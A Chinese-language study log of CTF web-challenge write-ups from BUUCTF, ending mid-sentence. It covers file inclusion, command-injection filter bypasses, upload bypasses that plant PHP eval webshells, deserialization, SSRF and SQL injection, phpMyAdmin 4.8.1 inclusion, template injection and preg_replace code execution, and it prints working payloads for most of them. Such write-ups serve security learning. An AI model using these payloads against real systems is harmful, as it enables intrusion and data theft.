记录一下自己buu的刷题进度,留下点wp方便以后看
[HCTF 2018]WarmUp
进入后看到滑稽表情,查看源码看到有source.php
看到php代码
要求传入一个字符串类型的file,且需满足class emmm中的条件
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
判断传入的参数是否为空,且是否为string类型
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
判断传入的参数中是否有白名单内的内容
if (in_array($page, $whitelist)) {
return true;
}
mb_substr()函数切割参数从0到第mb_strpos()函数返回的数值
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
判断切割后的参数是否在白名单中
if (in_array($_page, $whitelist)) {
return true;
}
切割后的参数经过url解码后再进行一次过滤
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
)
if内为真时进行文件包含
{
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
由于hint.php中提示flag在ffffllllaaaagggg中且whitelist中仅有source.php和hint.php
所以传入
file=hint.php?ffffllllaaaagggg
无回显
后多次利用../查看上级目录
最终payload为
file=hint.php?/../../../../ffffllllaaaagggg
[极客大挑战 2019]Secret File
进入后看到这个界面
查看源码可以找到Archive_room.php
发现这个页面
点击按钮后页面
尝试抓包发现secr3t.php
访问得到php代码
是文件包含,flag在flag.php中,过滤了../,tp,input,date.
利用php://filter绕过
构造file=php://filter/read=convert.base64-encode/resource=flag.php
base64解码后得到flag
基础验证
进入后猜测用户名为admin
密码为123456进行抓包
发现存在一行Authorization: Basic YWRtaW46MTIzNDU2
猜测YWRtaW46MTIzNDU2为base64加密;进行解码
尝试通过bp用附件中的密码进行爆破,
为密码添加前缀为admin:且要进行base64加密的规则
爆破后发现存在一个长度不同与其他包的
进行发包查看其响应可发现flag
目录遍历
进入后发现有四个目录,
依次寻找可找到flag.txt文件
./
表示当前目录../
表示父级目录/
表示根目录
目录遍历常见的是使用../来遍历目录
phpinfo
进入后为这种页面
仔细查找后可发现flag
备份文件下载-网站源码
1.依次试试发现存在www.zip,下载压缩包后发现存在三个文件
查看flag的文件后发现其中不存在flag
尝试在网页中访问得到flag
2.御剑扫描
3.利用dirsearch工具扫描
python dirsearch.py -u http://challenge-c5753b902359b43f.sandbox.ctfhub.com:10080/ -e*
bak文件
进入页面后
于是查看/index.php.bak
得到文件
vim缓存
所以查看.index.php.swp可得到文件
之后在Linux系统中用命令
vim -r index.php.swp打开
.DS_Store
根据题目查看后缀.DS_Store
得到一个文件
用记事本就可以查看看到
可得到flag
git泄露 log
题目中为git泄露可直接在后缀后加/.git
也可用dirsearch扫
用githack进行查看(百度里有几个githack没有办法用,弄了一下午)
githack要用python2
得到一个文件夹进入后用git bash打开
利用git log可以查看历史提交记录
看到有init ,add flag,remove flag三次提交记录
猜测flag在add flag中,用git diff命令对比与add flag的差别,可得到flag;
[ACTF2020 新生赛]Exec
查看源码后不存在提示,尝试ping 127.0.0.1
ping通后再尝试ping 127.0.0.1|ls 看到index.php
多次用../查看上级目录 看见有flag文件
尝试查看127.0.0.1|cat ../../../flag
得到flag
也可以用cat /flag
题目利用了命令执行
管道符
1、|(就是按位或),直接执行|后面的语句
2、||(就是逻辑或),如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
3、&(就是按位与),&前面和后面命令都要执行,无论前面真假
4、&&(就是逻辑与),如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
5、Linux中 ; 前后都执行,无论前面真假,同&,
[ACTF2020 新生赛]Include
题目是include猜测是文件包含;
点击tips后跳转到了file=flag.php
用php://input时提示
然后尝试用php://filter
构造payload
?file=php://filter/read=convert.base64-encode/resource=flag.php
最后用base64解码就能得到flag
[极客大挑战 2019]Knife
文件可上传
知道文件上传的路径
上传文件可以被访问
上传文件可以被执行
进去看到这个界面感觉是一句话木马,然后用菜刀连接
试一下
连接成功
然后在根目录下发现flag的文件,进入后找到flag
[极客大挑战 2019]Http
进去后看到是个广告页,直接查看源码
发现有个Secret.php,进入之后
用bp抓包然后先加个Referer: https://www.Sycsecret.com
看到要用Syclover 浏览器
所以把User-Agent里的内容改成User-Agent: Syclover
提示要本地访问
所以加个X-Forwarded-For:127.0.0.1(我下了个fakeip的插件)
http请求报头
请求报头通知服务器关于客户端求求的信息,典型的请求头有:
X-Forwarded-For 是一个 HTTP 扩展头部。用来表示 HTTP 请求端真实 IP。
Referer:表示这是请求是从哪个URL进来的
Host:请求的主机名,允许多个域名同处一个IP地址,即虚拟主机
User-Agent:发送请求的浏览器类型、操作系统等信息
Accept:客户端可识别的内容类型列表,用于指定客户端接收那些类型的信息
Accept-Encoding:客户端可识别的数据编码
Accept-Language:表示浏览器所支持的语言类型
Connection:允许客户端和服务器指定与请求/响应连接有关的选项,例如这是为Keep-Alive则表示保持连接。
Transfer-Encoding:告知接收端为了保证报文的可靠传输,对报文采用了什么编码方式。
[GXYCTF2019]Ping Ping Ping
进入后先根据题目试一下?ip=127.0.0.1
再用ls查看发现存在flag.php和index.php两个文件
尝试直接查看flag.php发现空格被过滤
绕过空格方式
${IFS}替换
$IFS$1替换
${IFS替换
%20替换
<和<>重定向符替换
%09替换
$IFS是bash中的内部域分隔符,可以代替空格至于后面的$9数字是可以随意的
发现利用$IFS$1可以绕过,但flag也被过滤了
于是先查看index.php
百度之后找到一种利用内联的payload
?ip=127.0.0.1;cat$IFS$1 `ls`
将反引号内命令的输出作为输入执行
GXYCTF2019]Ping Ping Ping 做题总结_孙得劲的博客-CSDN博客
[GXYCTF2019]Ping Ping Ping {命令执行总结}_昂首下楼梯的博客-CSDN博客
一些其他的绕过方式
[RoarCTF 2019]Easy Calc
进入后是个计算器,查看源码后发现
查看calc.php看到php代码
看到过滤掉了很多字符
尝试传入参数发现仅能传入数字
百度后得知这里设置了waf
可以利用php在解析字符串时会删除空白符并将某些字符转换为下划线的特性绕过
所以尝试在num前加空格
绕过成功
接下来尝试构造命令得到flag
利用scandir函数可读取目录
由于/被过滤
所以利用chr函数绕过
构造
[node3.buuoj.cn:26183/calc.php? num=print_r(scandir(chr(47)))](http://node3.buuoj.cn:26183/calc.php? num=print_r(scandir(chr(47))
得到
看到有个f1agg
利用readfile或者file_get_contents查看这个文件
? num=print_r(file_get_contents(chr(47).f1agg))
[极客大挑战 2019]Upload
先做个一句话木马,上传后显示
用bp抓包然后修改Content-Type为image/jpeg
Content-Type(内容类型),一般是指网页中存在的 Content-Type,用于定义网络文件的类型和网页的编码,决定浏览器将以什么形式、什么编码读取这个文件,
放包后又显示不能为php
百度得知绕过后缀的有文件格式有php,
,php4,php5,phtml.pht
试一试
发现可用phtml绕过
但又提示
把文件内容改为
又提示
在一句话木马前加个文件头GIF89a(GIF89a图片头文件欺骗)
Content-Disposition: form-data; name="file"; filename="1.phtml"
Content-Type: image/jpeg
GIF89a
上传成功
猜测上传地址为/upload/
菜刀连接
在根目录下找到flag
[ACTF2020 新生赛]Upload
文件上传,先传个一句话木马试试
弹出js,
看一下源码
把这个事件remove掉
上传后又提示
试试改改后缀名,发现phtml可以成功上传
菜刀连接
在虚拟终端中利用cat命令找到flag
[ACTF2020 新生赛]BackupFile
根据题目得知有.bak的备份文件,访问一下index.php.bak得到备份文件
代码审计可知要传入key的值与str的值相等,且key只能为数字类型
因为==是弱类型比较,根据php的性质可传入?key=123
得到flag
[极客大挑战 2019]BuyFlag
到payflag的页面发现有两个条件
查看源码
抓个包
将user改为1可满足第一个条件
之后要以post方式传入一个值令其等于404且不能为纯数字
所以post password=404a
提示要pay for the flag
猜测要post进money=100000000
传入后提示数字过长
采用科学计数法,得到flag
[SUCTF 2019]CheckIn
进入后看起来像是上传一句话木马的题
先传一个正常的
提示illegal suffix!非法后缀
改个后缀名试试
改成.jpg文件后成功绕过,但又提示<? in contents!
猜测<?被过滤了
修改后
最后再加个GIF89a文件头,绕过最后一个exif_imagetype函数的检测
虽然成功上传了但菜刀无法连接
百度一下wp
.user.ini
1、auto_prepend_file 在页面顶部加载文件
2、auto_append_file 在页面底部加载文件
某网站限制不允许上传.php文件,可以上传一个.user.ini,再上传一个图片马,包含起来进行getshell。在含有.user.ini的文件夹下要有正常的php文件
再上传一个.user.ini
上传后我们访问此目录下的任何一个文件时,都会去包含first.jpg,
根据其返回的地址用菜刀连接
找到flag
[ZJCTF 2019]NiZhuanSiWei
看见file_get_contents(),利用伪协议data://text/plain;base64绕过
再利用php://filter读取useless内的内容
解码后
可知flag在flag.php中
试图让file=flag.php
看到unserialize函数,利用php反序列化
构造payload
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
查看源码找到flag
[极客大挑战 2019]PHP
页面中提示有备份文件,御剑扫一遍
找到存在www.zip
重点在class.php和index.php中
所以要传入一个select参数,利用反序列化让username=admin
password=100
因为username和password两个为private类型
所以有隐藏的空格符
select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}"
[MRCTF2020]你传你🐎呢
先传个.htaccess文件,为了解析图片码
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
笼统地说,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。
SetHandler application/x-httpd-php
//该语句作用是让Apache将其他类型文件均以php格式解析
再传个一句话木马,然后bp抓包
只有将其改为图片的类型才能成功上传
根据返回的路径用菜刀连接
[MRCTF2020]Ez_bypass
进入后代码审计
先get进两个md5值相等的内容
md5无法处理数组,会返回NULL,使其相等
再根据php的特性post进passwd=1234567a绕过if
获得flag
[护网杯 2018]easy_tornado
从提示可以看出来这个tornado是一个python的模板,在web使用的时候给出了四个文件,可以访问,从提示中和url中可以看出,访问需要文件名+文件签名(长度为32位,计算方式为md5(cookie_secret + md5(filename))); flag文件名题目已给出 /fllllllllllag
所以要做的就是要获得到cookie值
这里是采用模板注入的方式
这里可以猜出来存在模板注入漏洞而且应该存在过滤
然后百度看一下wp
在Tornado的前端页面模板中,Tornado提供了一些对象别名来快速访问对象,具体定义可以[参考Tornado官方文档](http://tornado.readthedocs.org/en/latest/guide/templates.html#template-syntax)!
所以可以利用这个来读取cookie_secret
然后对其进行md5加密就能得到flag了
[HCTF 2018]admin
注册个账户登录后可以在修改密码页面的源码注释中找到提示
查看可以找到题目源码
一、 session伪造
flask中session是存储在客户端cookie中的,也就是存储在本地。flask仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的
找到session后利用py脚本进行解码
依照题意可以猜测只有用admin账户登录才能得到flag,所以要伪造session来使我们被认为是admin账户
重新编码session时需要用到secret_key可以在config.py中找到
伪造session
修改后刷新页面得到flag
二:Unicode欺骗
代码审计可以看出在登录注册和修改密码时都存在用户名的小写转换
看一下strlower
Twisted
版本为10.2.0
,而目前(2020/10/28)Twisted
最新版本已有20.3.0
,这里使用的版本非常旧10.2.0
版的nodeprep.prepare()
对一些特殊的Unicode
编码处理后会得到一个正常的字符。可以知道当使用了nodeprep.prepare()函数之后,如果我们先使用unicode的编码的字符,比如说 ᴬ ,使用该函数之后,他会先变成大写的A,再使用一次就会变成小写的a。
所以可以注册一个ᴬᴰᴹᴵᴺ用户再通过登录和修改密码两次令其变为admin
Basic Latin — ✔️ ❤️ ★ Unicode Character Table (unicode-table.com)可以从这个网站查字符
这里登录之后进行修改密码,则通过小写转换就会变为修改admin账户的密码
三、弱密码
用户admin密码为123
爆破或者试一试就能试出来密码
[BJDCTF2020]Easy MD5
进入后只有一个提交框,没啥思路,先用bp抓个包
看见有个hint
select * from 'admin' where password=md5($pass,true)
然后猜这里应该要利用sql注入的,但我不会了x
看了一下说是要用ffifdyop来绕过,因为这个字符串经过md5之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是' or '6
就会构成万能密码
成功进入下一步,先查看源码
利用md5不能处理数组会返回null的特性就能绕过,接下来进行代码审计
同样可以利用md5不能处理数组的特性
[网鼎杯 2018]Fakebook
先join一下,然后源码里有
这里过滤了union select 中间可以加个注释符来当空格来绕过去
这个页面存在注入点,
有两种方法,一种是直接sql读文件,另一种是ssrf
一.
借助联合查询可以看到user()是root,所以直接猜文件位置
二.
sql注入查到底,最终可以查到这些
这里能看出来data是个序列化后的结果,但是不知道有什么用
看一眼这个
解码之后发现是百度首页的源码
然后扫一下发现
有robots.txt备份文件
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
好,看不懂了(
抄一下别人的分析
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
/*curl_init():初始化一个 cURL 会话并且全部的选项都被设置后被调用*/
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
/*
curl_setopt — 为给定的cURL会话句柄设置一个选项。
说明:
bool curl_setopt ( resource $ch , int $option , mixed $value )
参数:
ch:由 curl_init() 返回的 cURL 句柄。
option:需要设置的CURLOPT_XXX选项。
value:将设置在option选项上的值。
对于下面的这些option的可选参数,value应该被设置一个bool类型的值:
CURLOPT_RETURNTRANSFER:将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。
对于下面的这些option的可选参数,value应该被设置一个string类型的值:
CURLOPT_URL:需要获取的URL地址,也可以在curl_init()函数中设置。
###################
文件流的形式:指的是在传递过程中的文件,比如你上传一张图片,那么他不是以一个完整的图片传输的,是将文件按特定编码的字符传输.这个就是文件流
*/
$output = curl_exec($ch);
/*curl_exec :执行 cURL 会话*/
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
/*
curl_getinfo — 获取一个cURL连接资源句柄的信息
说明:
mixed curl_getinfo ( resource $ch [, int $opt = 0 ] )获取最后一次传输的相关信息。
参数:
ch 由 curl_init() 返回的 cURL 句柄。
opt:这个参数可能是以下常量之一:
CURLINFO_HTTP_CODE : 最后一个收到的HTTP代码
*/
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
cURL是一个利用URL语法在命令行下工作的文件传输工具,1997年首次发行。它支持文件上传和下载,所以是综合传输工具,但按传统,习惯称cURL为下载工具。
cURL还包含了用于程序开发的libcurl。
PHP支持的由Daniel Stenberg创建的libcurl库允许你与各种的服务器使用各种类型的协议进行连接和通讯。
libcurl目前支持http、https、ftp、gopher、telnet、dict、file和ldap协议。libcurl同时也支持HTTPS认证、HTTP POST、HTTP PUT、 FTP 上传(这个也能通过PHP的FTP扩展完成)、HTTP 基于表单的上传、代理、cookies和用户名+密码的认证。
PHP中使用cURL实现Get和Post请求的方法
这些函数在PHP 4.0.2中被引入。
新知识:这里利用了ssrf漏洞
SSRF漏洞攻击原理及防御方案 - FreeBuf网络安全行业门户
SSRF(Server-Side Request Forgery)也属于应用层上的一个漏洞类型,用一个最简单的例子来理解这个漏洞:比如一个添加图文的功能,填入标题内容和封面图然后提交在网站前台显示,对于这个功能的图片它除了可以让你上传以外,还支持填入远程图片地址,如果你填入了远程的图片地址,则该网站会加载远程图过来进行显示,而如果程序写法不严谨或者过滤不严格,则加载图片地址的这个功能可能就可以包含进行一些恶意的脚本文件,或者你输入内网的 ip 或者一些系统的文件都会被解析执行,这个我们一般叫它 SSRF 即服务端请求伪造。
curl 使用的经典过程,初始化,然后设置访问的地址,随后执行,最后关闭。
将URL换成file://的形式,就可以读取本地文件。
这里我们要访问的是flag.php,所以按照之前sql注入得出来的序列化内容进行修改
最终payload为
?no=-1%20union/**/select 1,(select%20group_concat(no,username,passwd,data)%20from%20users),3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123;s:4:"blog";s:27:"file:/var/www/html/flag.php";}'
看一下源码,找到flag
[GXYCTF2019]BabyUpload
这个和之前一个文件上传的题差不多,上传时过滤了ph后缀名,所以要上传个图片马,同时还要上传个.htaccess文件解析图片马,用bp抓包把类型改成image/jpeg就行
然后菜刀连一下在根目录里就能找到flag
[BUUCTF 2018]Online Tool
先直接贴参考的文章了
BUUCTF 2018]Online Tool_题解_风过江南乱的博客-CSDN博客
[BUUCTF 2018]Online Tool_沐目的博客-CSDN博客
谈谈escapeshellarg参数绕过和注入的问题 (lmxspace.com)
PHP escapeshellarg()+escapeshellcmd() 之殇 (seebug.org)
BUUCTF 2018]Online Tool - nmap\escapeshellarg与escapeshellcmd连用_M4xlmum的博客-CSDN博客
先是代码审计,又是没见过的东西
第一个if语句好像没啥用
在PHP 中使用 $_SERVER["REMOTE_ADDR"] 来取得客户端的 IP地址,但如果客户端是使用代理服务器来访问,那取到的就
是代理服务器的 IP 地址,而不是真正的客户端 IP 地址。要想透过代理服务器取得客户端的真实 IP 地址,就要使用
$_SERVER["HTTP_X_FORWARDED_FOR"] 来读取。
不过要注意的事,并不是每个代理服务器都能用 $_SERVER["HTTP_X_FORWARDED_FOR"] 来读取客户端的真实IP,有些用此
方法读取到的仍然是代理服务器的 IP。
第二个if语句是要求传入一个参数然后利用escapeshellarg和escapeshellcmd两个函数的漏洞实现system命令执行
escapeshellarg,会在字符串中所有的单引号(包括成对存在闭合的)前添加一个'\' ,若已经用\转义,则会用'\'`替换\,最后将整个变量用单引号包裹。
escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。反斜线(\)会在以下字符之前插入: &#;`|\?~<>^()[]{}$*, \x0A 和 \xFF。’ 和 “ 仅在不配对的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。
这个漏洞类似这种
mkdir命令是Linux中的新建文件夹
chdir改变目录
最后就是system的命令执行了,这里面是nmap的一些命令
-T5 :扫描等级,越大越快,越快越不安全,最好设置为-T4
-sT :TCP connent 扫描,不太安全(留下记录信息),而且速度较慢,一般先使用-sS测试
-Pn :禁用ping
-host-timeout 2:设置扫描一台主机的时间,以毫秒为单位。
-F :快速扫描模式,只扫描在nmap-services文件中列出的端口。
-oG test.txt: 将扫描结果生成 test.txt 文件
接下来就是想办法利漏洞给里面传入一个一句话木马
payload
'<?php eval($_POST["a"]);?> -oG 1.php '
然后经过escapeshellarg和escapeshellcmd两个函数就会变成类似这种
' '\\''\<\?php eval\(\)\;\?\> -oG 1.php '\\'' '
这里单引号都闭合了不会影响到传入的一句话木马
之后就可以用菜刀连接找flag了
e9612257fa1c5134d014e95a7440d357
这是上传后的地址
菜刀连一下http://d26a51d3-a34a-46e5-9be3-80b3a129befb.node4.buuoj.cn/ e9612257fa1c5134d014e95a7440d357/1.php
根目录找到flag
[RoarCTF 2019]Easy Java
首先是个登录框
看一下help的内容
试试抓包然后改一下请求方式后会下载一个word文档,没啥用
这里是WEB-INF/web.xml泄露
WEB-INF主要包含一下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码
漏洞成因
通常一些web应用我们会使用多个web服务器搭配使用,解决其中的一个web服务器的性能缺陷以及做均衡负载的优点和完成一些分层结构的安全策略等。在使用这种架构的时候,由于对静态资源的目录或文件的映射配置不当,可能会引发一些的安全问题,导致web.xml等文件能够被读取。漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码。一般情况,jsp引擎默认都是禁止访问WEB-INF目录的,Nginx 配合Tomcat做均衡负载或集群等情况时,问题原因其实很简单,Nginx不会去考虑配置其他类型引擎(Nginx不是jsp引擎)导致的安全问题而引入到自身的安全规范中来(这样耦合性太高了),修改Nginx配置文件禁止访问WEB-INF目录就好了: location ~ ^/WEB-INF/* { deny all; } 或者return 404; 或者其他!
漏洞利用
漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码
所以先访问一下WEB-INF/web.xml
这个路径com.wm.ctf.IndexController应该和flag有关
所以试试访问一下
看到有块类似base64
解码得到flag
[GXYCTF2019]禁止套娃
GXYCTF2019]禁止套娃_TzZzEZ-web的博客-CSDN博客
GXYCTF2019]禁止套娃 - 王叹之 - 博客园 (cnblogs.com)
题目存在git泄露,用GitHack扫一下得到源码
可以猜到这里利用了eval进行命令执行,但是过滤了很多东西
1.需要以GET形式传入一个名为exp的参数。如果满足条件会执行这个exp参数的内容。
2.过滤了常用的几个伪协议,不能以伪协议读取文件。
3.(?R)引用当前表达式,后面加了?递归调用。只能匹配通过无参数的函数。
4.正则匹配掉了et/na/info等关键字,很多函数都用不了。
5:eval($_GET['exp']); 典型的无参数RCE
PHP Parametric Function RCE · sky's blog (skysec.top)关于无参数rce
首先要读取目录内容,
可以用print_r(scandir('.'));
但是因为不能传参,所以要想把.用函数代替
这里有两个函数可以利用
localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是.
current() 返回数组中的当前单元, 默认取第一个值
所以current(localeconv())永远是个.
也就可以用print_r(scandir(current(localeconv())));来读目录
可以看到flag就在flag.php中
现在要想办法把它读出来
这里可以利用array_reverse()和next函数
通过array_reverse() 函数返回翻转顺序的数组。
(反转之后flag.php被放在第二个数组之中)
next() 函数将内部指针指向数组中的下一个元素,并输出。
payload为:
?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));
也可以利用
array_flip()交换数组的键和值
array_rand()从数组中随机取出一个或多个单元
最后再利用readfile函数读出文件或者用show_source让它高亮显示
由于array_rand是随机的,所以要多刷新几次才可能会显示flag.php的内容
[GWCTF 2019]我有一个数据库
御剑是真的不好用。。。phpmyadmin路径死活扫不出来
这里phpmyadmin版本是4.8.1
由于phpmyadmin4.8.0-4.8.1存在文件包含漏洞
直接用payload打
?target=db_datadict.php%253f/../../../../../../../../flag
[BJDCTF2020]The mystery of ip
这道题第一眼看上去像是本地访问的题目
但是hint有感觉不太像
抓包修改xff头后就没思路了,查了一下发现是smarty模板注入
看到这里支持逻辑运算,可以直接解析,所以就可以利用系统命令来读flag
Smarty SSTI利用
(1条消息) PHP的模板注入(Smarty模板)_WHOAMIAnony的博客-CSDN博客_smarty模板注入
Smarty是基于PHP开发的,对于Smarty的SSTI的利用手段与常见的flask的SSTI有很大区别。
漏洞确认
一般情况下输入{$smarty.version}就可以看到返回的smarty的版本号。
常规利用方式
Smarty支持使用{php}{/php}
标签来执行被包裹其中的php指令,最常规的思路自然是先测试该标签。
{literal} 标签
{literal}
可以让一个模板区域的字符原样输出。 这经常用于保护页面上的Javascript或css样式表,避免因为Smarty的定界符而错被解析。
若该题环境为php5,则可以
<script language="php">phpinfo();</script>
静态方法
通过self获取Smarty类再调用其静态方法实现文件读写被网上很多文章采用。
在3.1.30的Smarty版本中官方已经把该静态方法删除
{if}标签
官方文档中看到这样的描述:
Smarty的{if}条件判断和PHP的if非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if},也可以使用{else} 和 {elseif},全部的PHP条件表达式和函数都可以在if内使用,如||, or, &&, and, is_array(), 等等,如:{if is_array($array)}{/if}
[BJDCTF2020]ZJCTF,不过如此
第一部分
可以用伪协议读取,但是不知道为什么我用hackbar时没成功
也可以用这个payload
text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/read=convert.base64-encode/resource=next.php
base64解码
当pattern传入的正则表达式带有/e时,存在命令执行,即当匹配到符合正则表达式的字符串时,第二个参数的字符串可被当做代码来执行。思路是利用这个代码执行,执行源码中的getFlag()函数,在传入cmd参数,再利用getFlag中的eval()函数,再进行一个代码执行。
深入研究preg_replace与代码执行 - 先知社区 (aliyun.com)
这里第二个参数固定为strtolower("\\1")
这里的\\1
实际上体现为\1
\1 在正则表达式中有自己的含义:
反向引用
对一个正则表达式模式或部分模式两边添加圆括号将导致相关匹配存储到一个临时缓冲区中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 ‘\n’ 访问
这里的\1指的是第一个匹配项
这里我们就要利用这个漏洞来运行getflag函数,并同时给cmd传参,利用system来执行命令
为了实现运行getflag的目的,就要先让\1为getflag(),也就是传入
.*={${getFlag()}}
原先的语句: preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value);
变成了语句: preg_replace('/(.*)/ei', 'strtolower("\\1")',{${getFlag()}});
这样通过preg_replace后就会运行getflag函数,但是由于php特性.传入后会变为_所以这里要利用正则匹配中的\S
所以传入的payload为\S*={${getFlag()}}
\S 在php正则表达式中表示匹配所有非空字符,*表示多次匹配
最终payload为?\S*={${getFlag()}}&cmd=system("cat /flag");
[BJDCTF2020]Mark loves cat
整吐了知道是git泄露但是用githack扫完之后就是没有源码。。。
借一下百度的wp的源码
index.php
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
flag.php
<?php
$flag = file_get_contents('/flag');
前两个foreach
语句分别将POST
参数和GET
参数进行变量覆盖,接着是三个if语句,exit()
函数退出脚本的同时输出变量,最后一句是输出我们想要的flag。
首先我们想到的是让脚本执行到最后一句echo $flag;
,但即使绕过三个if语句,我们GET
传参或者POST
传参的flag总会被变量覆盖:如我们GET
传参flag=aaa,在第二个foreach语句中变成$flag
= $aaa
,而$aaa
变量没有定义为空,最后的输出就是空
但是由于变量覆盖的原因最终不会显示flag
而exit()
函数虽然会退出执行,但也会输出其参数,我们可以利用变量覆盖将exit()
函数内的参数用$flag
覆盖掉就能输出flag了;
所以我们可以借助后两个if语句中的exit来输出flag
当我们get yds=flag时,满足第二个if判断,而由于第一个foreach语句,$yds=$flag,所以最终就会变成exit($flag);
还可以借助第三个if语句,当我们get flag=flag&is=flag后经过第二个foreach语句$flag=$flag,$is=$flag对flag自身无影响,又因为满足第三个if语句,也会输出flag值
BJDCTF2020]Mark loves cat (两种解法)(变量覆盖漏洞)_Zero_Adam的博客-CSDN博客
BJDCTF2020]Mark loves cat_qtL0ng的博客-CSDN博客
[安洵杯 2019]easy_web
进入后看到img参数像base64,解码两次再用16进制转字符串会变成555.png
所以为了想读取源码,我们将index.php按照相同的方式加密后变为
TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
修改后替换img原来的值,发现依旧返回了一大串base64编码,解码后可获得源码
重点:
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
先看第二个if里的md5的比较,传数组或者传md5值为0e开头的都没法绕过去
(1条消息) 浅谈PHP中哈希比较缺陷问题及哈希强比较相关问题_末初 · mochu7-CSDN博客
从这两篇文章里能找到存在文件十六进制字节流数据的哈希值相等
再考虑到要将一些不可见字符传到服务器,这里可以使用url编码
最终
